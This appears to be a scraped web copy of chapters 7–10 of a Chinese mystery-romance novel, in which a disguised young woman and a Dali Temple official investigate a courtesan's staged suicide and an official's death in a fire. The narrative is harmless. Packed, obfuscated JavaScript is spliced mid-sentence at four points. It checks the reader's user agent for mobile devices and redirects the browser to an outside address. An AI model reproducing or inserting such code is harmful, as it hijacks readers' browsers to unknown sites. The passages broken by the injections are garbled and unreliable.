“自己看呗。”吴昭音一把将罐子塞到苏彦卿怀里，奇怪的味道令苏彦清捂住了口鼻。吴昭音忍不住笑起来，一对浅浅的梨涡，齿如含贝，目光灼灼，一时间竟让苏彦清忍不住多看几眼。一旁的侍卫准备拔剑，被苏彦清招手拦住。吴昭音注意到了自己的失态，转而假装客气道：“回大人，瓶子里好像装过蝎子、蜈蚣之类的毒虫。” “蜈蚣？！”一旁的几个侍女和歌姬都花容失色，苏彦清也赶紧把罐子放回到了桌子上。 吴昭音漫不经心地向几位姑娘问道：“楚芸儿可是大理人士？” “正是。公子怎知？”一歌姬道。 吴昭音笑而不语。 “她生前可有与人发生过争执？”苏彦清又问。 “没有。姑娘为人亲善，虽然练琴时不喜人扰，平日里从不苛求他人。”一侍女道。 “她还常帮姐妹们看病解忧，不料自己竟如此想不开。”一歌姬说罢擦了擦流下的泪水。 苏彦清沉吟片刻，望向开门侍女：“你说她琴声停后你再进来的？” “是。”侍女点头。一旁的几个歌姬也都说听到了琴声。 “查完啦！”余晖在里面喊道。众人走了进去。 “大人，可否先请侍卫大哥帮我去梁上看看。”余晖请求道。苏彦清点点头，一侍卫轻盈一跃，霎时拔高数尺，稳稳地落在房梁上查看起来，随即又飞扑而下报道：“启禀大人，挂绳处只有一条挠痕。” “那就奇怪了。”余晖喃喃自语。 “怎么？一条挠痕可是他杀，你可还查出别的。”苏彦清波澜不惊道，一旁歌姬侍女们闻言神色各异。 余晖继续道：“小的一开始也怀疑是死后悬尸。但若是被勒死的，死后应该嘴眼张开，手掌伸展，头发散乱,索痕也是浮浅而色淡的，舌头既不伸出也不抵齿，身上，尤其是颈上应该有自救时留的指甲抓痕。但这些不完全符合死者现状。” “继续说。” “此女颈前有一道紫黑色的勒痕，位于喉结下方，她面色紫红，唇齿微张，舌尖探出，这道勒痕从他颈前一直延伸到耳后发际，两脚尖直垂下，而且腿上有淤血，像火灸的斑痕，看起来——” 苏彦清拨弄着窗边的琴弦道：“看起来又确实是吊死的。” “对，另外，她的脸色红得古怪。” “怎么个古怪？” “颜色十分不均” 见苏彦清闻言神色愈加阴沉，余晖小心翼翼道：“大人是怀疑——” 苏彦清并不答话，围着悬挂尸体的位置转了一圈，随即拾起一只粉色的手帕。他只闻了一下帕子，便突觉一阵眩晕，身侧的侍卫连忙扶住。 直觉告诉吴昭音，手帕有毒，于是她也凑近也闻了闻，随即惊慌地把帕子扯走扔得老远。 “是什么？”苏彦清呼吸急促道。 “迷药，也就是断肠草。而且用量十足。”说完便从兜里掏出一粒药丸递给苏彦清一旁的侍卫，侍卫并不理睬。 吴昭音又气呼呼地将药丸揣回兜里：“不要算了。” 苏彦清喘着粗气道：“多谢公子，还不知公子贵姓。” “我——我姓武。” “吴？” “武！武林的武。” “哦，原来的小武公子。我——我愿意吃药。”苏彦清虚弱道。侍卫迟疑了一下，不情不愿的将药丸接过来给苏彦清服下。 “不吃解药也没关系，就是对脑子不太好。”吴昭音一本正经道。两侍卫面面相觑。 苏彦清挣脱开搀扶，正身道：“这楚芸儿应该不是简单的自缢。凶手应是先用手帕将其迷晕，故而口鼻处红色突出。然后又将其挂起，所以梁上也没有多余的挠痕，验尸结果又能与自缢死状吻合。而且——从琴到绳子下面不止十步，这么说那琴也不是她弹的。” 余晖也拿得手帕远远地闻了闻，疑惑道：“不对呀，那他为何不直接毒死呢？还又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763191|174476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弹琴，又上吊的。如何断定这帕子就是凶手的呢？” “姑娘们，可见楚芸儿用过此物。”苏彦清向几位女子问道。 “有点眼熟，但芸儿姑娘从不用帕子的。”侍女答道。 吴昭音走到楚芸儿尸体前，凑近其面部闻了闻，旁人吓得不敢出声，半晌道：“帕子确实用过了。至于为何不直接用毒——少卿大人英明神武，应该猜到了七分吧。”她说完拿着陶罐望向苏彦清，一双眸子似潭水般波澜不惊，带着些许孤傲的神情。 苏彦清接过陶罐，盯着吴昭音的眼睛慢条斯理地开口道：“虽然本官不知这陶罐里的虫子有何用处，但楚芸儿的祖籍大理确是一个毒瘴弥漫，盛产毒物的地方。加之芸儿姑娘又善医术，故而想要毒死她，应该不易。” “我们这一层平日里接待的皆是少卿大人这样的达官显贵，吃食方面本就格外小心。”歌姬补充道。 吴昭音心下又想难怪大人深夜来此呢，兴许是常客，听曲还带着侍卫，大理寺好不气派。 苏彦清似是看穿了吴昭音的心思，柔声低沉道：“我们今夜来此，恰好是为了一位常来此处消遣的大人。” “谁？”众歌姬好奇状，“莫不是陈大人？”有侍女小声嘀咕。 苏彦清并没搭理，一手摩挲着领口的扣子，自言自语道：“那是凶手是谁？楚芸儿为何杀人呢？又是谁杀了她呢？” “什么？”吴昭音疑惑道。 “这鞋印还没擦干净呢。”一旁的余晖扶起地上的凳子，忽然开口道。 苏彦清接过看了一眼，随即向侍女开口道：“可否借笔墨一用。”侍女便马上拿来纸笔。 只见苏彦清趴在另一张凳子上，一笔一划的将凳子上的鞋印临摹到纸上，不一会一个右脚的鞋印就画好了。 “凳面上仅有右脚鞋印完整，此鞋应比楚芸儿的脚大，但是比一般男子的脚小，可能是个矮个子男人。” 听到这，吴昭音不自然地挺直了脊背：“你怎知是男人的？” 苏彦清将画纸一推，吴昭音瞟了一眼便目不转睛地接过道：“这是几年前的军鞋。” “哦？”苏彦清好奇地看着吴昭音。 见众人不可置信的眼光，吴昭音继续道：“军鞋的靴底上钉有圆头铁钉，非常耐磨，再以桐油涂之，虽不漏水，但是较为闷热，普通百姓并不合用。” “所以凶手应有从军经历，近日下雪路滑，他才穿了出来。”苏彦卿漫不经心地分析，转而又道：“你又是如何知晓的？” 吴昭音支支吾吾：“我——我小时候见过呀。”更小声道：“孤陋寡闻。” 苏彦清听得清楚但并没有反驳，转头望向正在打哈欠的余晖道：“今日就此作罢，明天你就到大理寺来。” 余晖兴奋地伸手摇吴昭音的肩膀，忽又想起她是女子，正要缩回手，吴昭音看着他摇了摇头。 “为何不能去？”余晖嘟嘴道。 一旁的侍从忽然大喝到：“大胆，你几番招惹大人，不要命啦。”大家都被吓了一跳。 苏彦清轻挑剑眉，似笑非笑道：“武公子莫非对大理寺，有不满之处？” 吴昭音莞尔一笑：“大人是在审问我吗？小的可不敢。”说完转身便走，余晖在后面一边收拾东西一边叫唤。 苏彦清望着远去的背影，嘴角仍噙着笑意，转身朗声道：“还不快封锁此处，把尸体抬回去。” 8. 方府再遇 夜月明风清，明明已近亥时，街市上仍熙来攘往。 吴昭音大步流星，突然顿住脚步道：“既然你要去大理寺，想必也不宜久居别处，明日你便走吧。” 余晖错愕道：“姐姐今日为何如此？莫非是认亲不成？” 吴昭音这才想起，余晖现在还不知她来临安的目的，只提过要去方府认亲之事。 “不是。” “那你为何——如此生气？” 吴昭音眼睛一转道：“今日我路过大理寺，见一个女子千里迢迢去伸冤，结果连面都没见着就被赶了出来。那大理寺——” 余晖咬了一口绿豆酥道：“不会就是你吧？” 吴昭音见被戳穿，心虚地转头继续赶路。 余晖跟上道：“你别以为我不知道。” “我知道你聪明。”吴昭音步子更快了。 “所以你方才——诶，那可那是苏大人，苏大人最近人情的了。”余晖边吃边追边说道。 吴昭音诧异道：“苏大人？苏彦清？” “啊~” “不对，今日传话的捕快称是苏彦清看的状子，后来我在门口又碰着苏……所以——” “所以——应该是有人想嫁祸他。”余晖吮了一下手指。 吴昭音耸耸肩：“兴许，大理寺是一丘之貉呢，你也快了。” 余晖头一偏笑道：“苏大人都管不了的事，那京城里就没几个能管了。” “你倒是忠心耿耿。” “是我慧眼识珠。” “话说你何时知我去大理寺的？” “你猜？” 两人有说有笑的消失在月色中。 翌日清晨，吴昭音和珠儿去早市上贩卖绣品，众人见其模样俊秀，很快便将绣品一抢而空。正当她们高兴地准备回府时，旁边小摊上的人议论着谏议大夫府上昨晚走水失火，方大人被活活烧死。吴昭音闻言身子一僵，差点没站稳，半晌才反映过来，仓皇地同珠儿赶到了方府。 吴昭音望着一片素白的方府，无边的回忆涌入心头，顿觉浑身冰冷。明明昨日还是恬静祥和，今日却遍处悲啼。方夫人认出了吴昭音，一番敬香叩拜后，吴昭音便与珠儿找个僻静之处坐了下来。 吴昭音心里直发怵，一个五品大臣的府邸怎么会无端失火呢？而且别处都没烧着，偏偏是书房。究竟是天干物燥，纸卷易燃，还是有人故意为之？ “这不是武公子吗？” 吴昭音循声抬头，苏彦清一身素白，从人群中款款走来，腰间鸾带飘动，棱角分明的面庞之上，纤长如墨的睫毛之下，一双深的不见底的眸子好似故人。吴昭音有过一瞬间的愣神，随即马上收起自己呆滞的表情。 “这是大理寺少卿苏大人。”吴昭音站起来连忙介绍，心想幸好昨晚跟珠儿交代过。 “久仰大人盛名，今日相见真是三生有幸。”珠儿装腔道。 “这是在下表弟，姓朱名穆。” “原来是朱公子。”苏彦清谦谦回礼道：“不知武公子为何在此？” “方大人乃家母表亲，大人不幸遭难，理当吊唁。” 一家仆从旁走过，苏彦清随口问起：“方大人昨日见过何人？” 吴昭音的心一下子提到了嗓子眼，家仆瞥了吴昭音一眼道：“就他。” “武公子昨日甚是忙活呀！从谏议大人府上，再到大理寺，又到聚仙楼。” “大人记起来了？大人若是怀疑，现在便可把在下捆起来。” 苏彦清笑着摇摇头道：“那也不必。昨晚起火在戌时，那时——你与我在一起。”忽又话锋一转：“不过，这场火确实蹊跷。” “哦？大人可是发现了什么？” “你们随我来。” 苏彦清将吴昭音和珠儿引到了方鹤堂的书房，两个家仆正在里面打扫收拾。 “少卿大人。” 苏彦清点点头，仆人们继续清扫。 吴昭音环视了一下书房，大部分书卷都完好如昨日，只有帷幔处被烧着，起火点是一个火盆，空气中还有一点淡淡的酒味。忽然，她想起黄花梨书架上应该还有一瓶女儿红，但此时却不翼而飞。于是忙问：“大人的女儿红何在？” 仆人答道：“把火扑灭时，酒瓶已经空了。” “空了？那发现方大人的时候，他倒在何处？”苏彦清的眉毛拧到了一处。 “这。”仆人指向了火盆附近。 珠儿问：“大人可有喊叫？” “当然了。火都那么大了。” 苏彦清与吴昭音互看了一眼，恰逢方夫人也走了进来，语气稍显强硬地将三人请了出来。 珠儿一脸困惑道：“这方夫人好生奇怪，这火莫不是她放的？” “珠儿不可胡说。”吴昭音肃声道。 “朱儿？”苏彦清小声自语，心下暗笑这兄弟俩真是玲珑秀气。 “不过，这场火如大人所言，确实古怪。虽没见到方大人的——尸首，但从火场来看，燃烧严重之处远离书卷案牍，烧着的也都是一些布料而已。” 珠儿歪着脑袋道：“烧纸岂不是更快。” 见吴昭音若有所思，苏彦清继续道：“而且从着火范围和现场灰迹来看，并不足以将人烧死。除非——”苏彦清盯着吴昭音欲言又止，似乎在等一个回应。 吴昭音低沉道：“除非他是用那酒自焚的。”苏彦清眼中闪过一丝异色。 珠儿绕着发梢疑惑地道：“可方大人为何要自杀呢？” 吴昭音蹙眉颔首，继而又抬眸道：“不如大人以大理寺的名义开棺验尸？” “万万不可！”方夫人从灵堂走出，痛哭流涕道：“我家大人一生为人清正，不该是如此下场。如今尸骨已毁，若你们执意如此，那我今日便一头撞死。”说着就要往旁边的红木檐柱上撞，几人将她紧紧拉住。见方夫人如此，几人只好作罢，稍稍寒暄便出了方府。 一出方府，门口有两个捕快上前抱拳道：“大人，可是要去叫仵作？” 苏彦清叹了口气道：“再等等。” “大人早就料到了？”吴昭音错愕抬眸道。 “没有？感觉而已。” 珠儿小声呢喃：“不让验尸可如何是好？” “这是公门之事，你们无须费心了。”苏彦清的语气沉重而又笃定。 吴昭音望着眼前镇定自若的苏彦清，心中莫名地升起了一股安全感。 “那就多谢大人了。”吴昭音发自内心地施了施礼。 “武公子今日为何如此客气？”苏彦清双手抱胸玩笑道：“莫非有何心虚之事？ 吴昭音立马挺直了身子道：“当然没有。方大人是我旧亲，又为官廉明，我只是不愿他枉死。” 昭音正说着，一面蒙黄纱的女子拦住了几人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763192|174476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的去路，怯怯道：“少卿大人，今日可把你好找。”说罢她取下面纱，才知是昨日聚仙阁的歌姬，她称有人找到手帕的线索。苏彦清立马吩咐捕快回大理寺找帮手，自己则赶往聚仙楼，吴昭音也跟了上去。 半盏茶后，几人已行至聚仙楼，一楼的旦角儿已经登场，戏台下几个琴师正一脸沉醉地吹弹。 苏彦清盯着其中一个拉胡琴的问道：“你是说，有人见过他用同样的帕子？” “正是。他还说这帕子送过别人。” “谁？” “旁边那吹笛子的琴师，还有那个小花旦。”歌姬指了指台上道。 苏彦清对捕快命令道：“你们盯住他们，等演完这场就抓起来。” “是。”说完捕快就隐到了暗处，天也刚好下起雨来。 苏彦清擦了额前的雨水道：“我要去楚芸儿的房间再看看，你们可愿与我同去？” 不待昭音回答，一旁的歌姬含羞道：“愿意。”随即主动走到前面带路，苏彦清看了一眼吴昭音，转身大步地跟了上去，吴昭音与珠儿对视了一眼，也跟了上去。 刚进了厢房，歌姬便点起了烛灯，悠悠道：“大人，我还记起一事。那日芸儿练的曲子里，有首是我从未听过的。不过我能依稀弹出几句。” “哦？”苏彦清寻了一处坐下。 吴昭音好奇道：“姑娘能否弹一下。” 歌姬依着回忆，一边小声轻哼，一边断断续续的弹出两句，吴昭音听着听着灵光一闪，也坐在一旁抚起琴来。歌姬在一旁连连称道：“正是此首。” 窗外是淅淅沥沥的微雨，烛光映在吴昭音素白的衣袍上，玉手芊芊，轻勾慢挑，低回婉转的乐音回荡在整个房间。苏彦清指尖轻叩桌几，眼里是藏不住的欣赏之色。吴昭音忽止琴声，抬眼正对上苏彦清漆黑的眸子，苏彦清连忙收回视线。 “这是岭南的曲子。”珠儿冷不丁道。 “哦？”苏彦清又目不转睛地打量着吴昭音。 吴昭音无视其饶有兴致的眼神，自顾自道：“此乃岭南曲作《白鹭吟》，临安本地善奏者极少。” 苏彦清状若无意地问道：“那武公子也是岭南人咯。” 话音刚落，一捕快疾步来报：“大人，人已经抓起来。带上来！” 两男一女跪在地上大喊冤枉。一捕快又呈上一只手帕，苏彦清将手帕展开看了看问：“除了你们，还有谁有这帕子？” 胡琴琴师哭丧着脸道：“只有我们这几个了。” “楚芸儿死的当晚，你们在何处？”苏彦清冷脸问道。 “回大人，我们在唱戏，那晚前场戏的角儿摔了，咱们先上的，台下这么多人看着呢。”小花旦娇滴滴含泪道。 “那这帕子从何而来？”苏彦清望向胡琴琴师。 “我上次去如意坊修琴，老板送我的。” 苏彦清站起身来，好整以暇地抖了抖长袍道：“那就带他去如意坊。其余人放了。”转头又对吴昭音微微笑道：“今日多谢，武公子后会有期。”随后便转身离去，歌姬殷勤相送，吴昭音这次没有跟了上去。 须臾，珠儿喃喃问道：“小姐，苏大人能帮咱吗？” “不知道呀。” “如果，咱们也帮他个大忙呢？” “怎么帮？” “你看那！”珠儿笑着指着楼下行人中带着面具的巫师舞队。 9. 巫师公子 临安城，锦北街，如意坊门前。 苏彦清背手而立，一侍卫从旁边铺子走出来贴身附耳道：“大人，隔壁说如意坊的掌柜早在半月前就回家探亲了。” 苏彦清检查了一下门锁，冷脸道：“他老家何处？” “岭南道漳州。” 苏彦清的眼底渐渐升起了一层火焰，眉毛几乎要拧到一处，道：“一昼夜足够他出城，去查！” “是！”侍卫匆忙下。 胡琴琴师弱弱道：“大人，您看，我可以回了么？” 苏彦清摆摆手，琴师躬身两下正要离开，忽然又折回道：“对了，大人，这个钱老板今日本是要去醉仙楼给大伙调琴换弦的，你可以去问问大掌柜。”。 “好。” 琴师说完便走了，苏彦清朝旁人吩咐道：“找两人盯紧他。”正吩咐着，远处传来一阵清脆悦耳的铃铛声。 只见一支穿着巫师神袍的队伍向苏彦清走来，他们头戴鹿形神帽，坎肩上镶嵌着上百个白色的贝壳，身上是用兽皮制作的长袖对襟长袍，袍子上绣着花草纹饰，腰上系着彩色飘带，犹如孔雀斑斓的翎羽。每每迈出一个步子，从头到脚的铃铛便会叮铃作响。 不待他们走近，苏彦清一旁的侍卫便手握剑柄蓄势待发。为首的巫师在苏彦清面前停下脚步，轻轻取下山神假面微微鞠躬道：“聚仙楼有位姓武的公子，托我转交与您”说完便从怀里掏出一张纸条。 苏彦清接过纸条，一行秀润圆劲的笔迹映入眼帘：“通神辟邪佑生者，招魂开路慰亡灵。”苏彦卿莞尔一笑，众人不思其解，连一旁的侍卫都忍不住伸着脖子探看，却只见他迅速地将纸条塞进前襟，朗声道：“回聚仙楼。” 今夜无月，不到戌时便已夜色深沉。信奉鬼神的方夫人经不住巫师的三言两语便将他们请进了府，吴昭音和余晖乔装打扮混入其中。 为了避免露馅，巫师依计哄着方府众人在两丈开外的地方俯身祭拜，并奉劝他们期间不许抬头。等到大家围着棺木跳舞时，余晖便趁机验起尸来。 隐隐约约的铃声从方府传了出来，不远处的鸿福客栈二楼客房里，苏彦清望着方府忽明忽暗的光亮沉默不语，珠儿也一言不发，场面有些局促。 一个侍卫进来道：“大人，暂无异常。” 苏彦清点点头，缓缓地倒了一杯茶推给珠儿道：“你们表兄弟感情甚好，可是从小住在一处？” 珠儿谨记吴昭音叫她尽量少说话的嘱托，抿了抿嘴道：“是的，大人。” 苏彦清吹了吹茶沫，又漫不经心地开腔：“朱公子好像不是本地人。” “是的大人。” 苏彦清顿了一顿，继续问道：“那你们和余晖可是老乡？” “是的大人。” “嗯？”苏彦清抬眸瞟了一眼。 “哦，不是。也算是吧。”珠儿有些语无伦次了，心想着小姐还不如带自己进方府，在外面可比在里面麻烦多了。 苏彦清又欲发问，忽闻铃铛声越来越近，正抬头间便看到两位巫师和侍卫走了进来。 余晖奋力地取下面具喘气道：“本来天色就暗，这玩意儿让我差点看不清。” “你该庆幸这假面，挡住了你的神色。”吴昭音边说边取下了面罩，毛茸茸的帽檐下素净的小脸如粉瓷一般，五彩斑斓的神服衬得她唇红齿白，一时间真让人难辨雌雄。 余晖兴奋道：“大人，你猜我们验出了啥？大人？” 苏彦清掩下失神，转过头望向余晖道：“说来听听。” 一旁的吴昭音正欲坐下，哪知一不小心踩到了垂坠的飘带，身子一倾，鹿角头盔也跟着甩了出去，直挺挺地倒在了苏彦清的怀里，脑袋里一片空白。 苏彦清只觉腿上一沉，颔首一看，只见吴昭音海藻般乌黑的头发缠满了自己的长袍，一股熟悉的花香扑面而来，除了一双澄亮如镜又惊恐万分的黑眸，苏彦清什么也看不清。 珠儿和余晖本来也伸手想扶的，但眼见步子着实赶不上，便默契地假装攀谈。 等苏彦清回过神来，吴昭音已经一骨碌爬起来，慌乱地丢下一句话便跑开了，珠儿也赶紧跟了上去。 苏彦清疑惑地望着吴昭音逃离的方向问道：“她说什么？” “去换衣服。”余晖忍俊不禁道。 “哦——你是几时来的临安？” “两日前。” “哦。” 余晖也嫌衣服累赘，于是边脱衣服边说道：“这方大人确实死于大火。”。 苏彦清眼角抽了抽，语气里夹杂着一丝不可置信道：“他鼻腔内有烟灰？” “嗯。不过他右侧胸口心脏处被利器刺入，伤口开阔，伤口皮肉收缩不一，有血凝块，确是生前伤无疑。” 苏彦清神色微敛，眼底一沉道：“可是致命伤？” “是。”余晖认真道，“虽来不及剖验，但我用银钗探了探，应该伤及脏腑了。” 苏彦清若有所思，良久才问道：““所以，若没那火，他还是会死？” “嗯。而且那伤口整体平整，既无深浅变化，也没有因挣扎而导致的细小豁口。所以肯定不是自杀，我感觉是——熟人所伤。” 吴昭音抱着神服地走了进来，身后的珠儿一脸天真地问道：“熟人？” 话音刚落，余晖就轻轻地在珠儿肩上落下一拳。珠儿诧异道：“你——” “你刚刚可有看到我扬起手来？” “看到啦。” “你为何不躲？” “我以为你要伸懒腰呢？” 吴昭音面色有些许暗淡，随即低语道：“所以凶手是方大人认识并信任的人。” “不仅信任，他甚至想为凶手脱罪。”苏彦清握紧了拳头。 吴昭音叹了口气道：“如果他想反抗至少可以喊叫，可以挣扎，那样大家就不会等到起火才听到叫声，甚至可以看到更多的血迹。对，血迹，为何我们没有发现血迹？” “他的衣服已经换了，而且天黑看不太清，但案发之地应该留有血迹。”余晖摊开包裹，拿起手中的小木槌盯着又道：“要是能再正式验一次就好了。” 珠儿看着余晖包里的头骨，往吴昭音旁边靠了靠道：“可我们白日里确实没看到血呀。” 苏彦清双手撑在窗沿，望着方府的方向道：“看不到血迹，书卷完好，干净利落。这样难得的好官，不该就这样死了。” 余晖略将包袱用力地系紧，又将两套神服抱给了一旁的侍卫道“劳烦兄弟将衣服还给他们。”继而转身道：“这连死者都想包庇的凶手，我们谈何容易？” 众人陷入了沉重的气氛中，一片死寂。忽然，珠儿的肚子不合时宜地咕噜响起。 苏彦清忽然抬眼望向吴昭音：“武公子今日帮了本官大忙，苏某正好请你们吃饭，走。”说着就起了身。 “不用，天色不早了。”吴昭音起身拉珠儿准备先走一步。 苏彦卿大步拦道：“诶，待会可让侍卫送你们。” 珠儿忙摆手：“吃饭可以，送就不用了。” 苏彦清开心一笑道：“好。”说着就推着吴昭音的肩膀出了客栈。 穿过西街便是临安城最大的夜市街，四处都是小商贩沿街的吆喝叫卖声、谈笑声。放眼望去，街道两旁摊位林立，各色商品琳琅满目。几个江湖艺人正在表演弄碗、踏索、走高跷等技艺，围观的人群不时发出阵阵喝彩声。 “大人，不如，我明日去找一下方夫人。”吴昭音望着脚下的路说道。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763193|174476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >苏彦清抬头望了一下天，道：“我的人说从起火当天到现在，方府的人一个不少。”又看了吴昭音一眼：“你怀疑凶手还在府内？” “嗯。” “可是——如果方夫人不肯呢？” “总比现在这样猜强吧。他们顶多把我赶出来。” “武公子为本官几番涉险，苏某不知如何感谢。” “谁说为你了，我是为了方大人。” “为了方大人正是为了本官，我看你有胆有识，为何不参加科考，若是中了举，本官可保你来大理寺。” 吴昭音有礼地一笑：“那倒不用。以后有求大人的地方，我定不会轻饶。” “哦？”说完两人相视一笑。 “诶，珠儿，你看前面。”余晖笑嘻嘻地望向前方，而珠儿却被眼前的芙蓉饼和蟹肉包馋得走不动道。 “我算是知道你为什么叫猪儿了。”余晖一边掏钱一边揶揄道。 珠儿吃着糕点循着余晖的目光望去，只见苏彦清与吴昭音在摩肩接踵的人群中不紧不慢地走着，两人不时相视轻笑，不时衣角相叠，夜市的灯光投射在两人身上，裹上了一层柔色。 余晖双手抱胸道：“你说以现在的交情，吴小姐为何不跟大人实说了呢？” 珠儿思索道：“可能还不是时候吧。” “酒蟹、羊角腰子、野狐肉、金丝肚羹……诶，客官里面请。”随着一声吆喝，苏彦清将一行人引进了望月楼。 热情好客的跑堂早一路便迎了上来，眉开眼笑地招呼道：“少卿大人，您的雅间还空着在，里边请。” 望月楼三楼尽头的包间僻静雅致，但推开窗却能将整个夜市街尽收眼底，视野十分开阔。 满脸堆笑的跑堂正要倒茶，苏彦清阻拦道：“先上菜。” 跑堂看了看众人，又向苏彦清拱手道：“少卿大人，今日可还照旧？” 不待苏彦清张口，吴昭音便抢话道：“照旧。” “好嘞。” 苏彦清正要喊话，见跑堂已经没影儿了，只能无奈地摇摇头，给每个人倒了杯水。 “我们自己来。”吴昭音伸了伸手。 “方才怎么不客气？你怎知我平日里爱吃些什么，万一是油炸蝗虫金蝉之类呢？” “这时候哪还有这东西？”珠儿轻啜了一口。 “那你可别小看了临安。”余晖一脸内行的样子，仿佛在这过了十几年一样。 很快，跑堂端上了一桌好菜。可定睛一看，大家都傻眼了。红烧乳鸽、梅菜扣肉、芋头糕、四果汤……清一色的岭南菜。 “大人，您平常也吃这些？”吴昭音好奇道。 “嗯。有何不妥吗？”苏彦清给吴昭音夹了几只虾，吴昭音无处闪躲便只能接了去。 “大人居然爱吃岭南菜。”余晖说着便给自己夹了一大块肉。 “岭南？”苏彦清一脸迷惑，看了看碗里的菜又道：“我好像一直惯吃这些。这都是岭南菜？” 吴昭音“嗯”了一声，指着离自己最近的一碗道：“这叫四果汤，是岭南漳州菜。” 听到漳州，苏彦清吃饭的动作顿了顿，旋即放下筷子道：“说起来，今日我去如意坊抓人，竟让那老板给跑了，他也是漳州人。” “可知他逃往何处？” “不知，但我已派人往漳州方向追了。你可记得那晚我突然造访聚仙楼，为的原是另一桩案子，嫌犯正是楚芸儿，却不想有人捷足先登了。” “是什么案子呢？”珠儿一脸好奇。 “等我把人抓到了，诸位定然都会知晓，当下光方府就够麻烦诸位了。方才武公子说明日去找方夫人，不知我需作何准备？” 吴昭音看了看门口，珠儿起身把门关了起来…… 10. 任性一回 翌日清晨，吴昭音敲开了方府的大门，老管家虽将她迎了进去，但方夫人却以抱病为由将其晾着。 吴昭音心想这头七还没过，方夫人总得去灵堂吧，于是便打算去灵堂守着。出了客室没走两步便见一丫鬟单手拎一大桶水往后厨方向走，少女年纪虽小，但桶里的水却平稳如镜，更别说溅出半点水花来。 “可要在下帮忙？”说话间，吴昭音已经撸起袖子，这才发现眼前的少女正是那日搀扶的端茶侍女，今日一见已少了赧然之态，看起来憔悴了不少。 少女偏头看了一眼吴昭音，又道：“公子前日来过府上吧？那就有劳公子了。”说着就把一整桶水搁到吴昭音手上。吴昭音顿觉手下一沉，因着平日里干的都是捏针捣药的活儿，这提起水来还有点晃悠悠的。 吴昭音跟着少女没走两步，就到了后厨，这个点儿的后厨并不忙，只有一两个小厮在慢腾腾地煎药，药香里掺着木香、山楂的酸气。少女推开储室的门，吴昭音有些惊讶，整整十五缸水只差半缸就全满了，“这些都是姑娘灌的？”吴昭音忍不住问道。 “哦，没有，就眼下这缸。”少女语气平静地接过水桶。吴昭音没有言语，虽然每个缸口看起来都是湿的。“公子歇着吧，今日的水够了。”少女说完就自顾自地朝外面走。 何止是今日的水够了，这都够用三五天了。 “药倒好了，你去送给夫人吧。”隔壁厨房的小厮说道。 “我昨晚已经送过了。”另一小厮语气稍显不情愿。 “好好好，我送。” 吴昭音见一小厮端着药碗上了阁楼，也悄悄地跟了上去。小厮出来时见昭音也站在外面，用怪异地眼神看了两眼便又折回去跟里面的人低声私语了一会。少倾，里面便传出声音：“公子进来吧。”声音有气无力，但又透着股威严。 小厮出去时，吴昭音顺手关上了门。方夫人双眼通红，又脸色苍白地半躺在檀香木雕花罗汉床上，床边案几上的食物好似没有动过的痕迹。 “吴家的事，老爷很早便跟我提过，如今他已故，老身也帮不了你什么。”方夫人说着便从妆奁里拿出几样成色上好的首饰放到案几上，又道：“老爷一声清廉，积蓄不多。你我两家亲缘一场，这首饰你当了也好，自己戴也罢，从此便少些来往吧。” 吴昭音眸色一沉，扑通一声跪了下去，方夫人抬头一脸错愕：“你这是？” “昭音今日来并非为了祖父，而是为了查明方府失火的真相，还大人一个公道，求舅母成全。” 方夫人叹了口气：“你起来吧。你怀疑老爷不是死于大火？” 吴昭音一动不动道：“正是。我怀疑有人杀害大人，而且似是府内之人。昭音认为无论何人都没有擅自残害他人性命的道理，若大人真的有罪应当由——” “大人何罪之有！”一声质问激起半晌沉默，方夫人似是为自己的激动有些抱歉，站起身要扶起吴昭音，吴昭音却匍匐得更低了。 “夫人也知大人无罪，为何反复阻拦，这教昭音难免心生疑窦。”说着吴昭音抬起泛红的眸子，直视着方夫人。 “你要如何查？身体发肤受之父母，老爷如今这般恐怕已难入土为安，你为何要咄咄逼人，刨根问底？” 吴昭音顿了顿，轻声道：“方大人十九岁中举，二十岁出任绍兴新昌县令，靠着勤政为民，一步步地擢至谏议大夫。在这个党同伐异的时代，他谨小慎微，如履薄冰，既不同流合污，也没有一腔孤勇，这才保得咱大雍江山还有良臣在朝，百姓还有父母官可依。昭音相信，大人是爱惜性命的，不仅是为了方府上下，更是为了他未竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 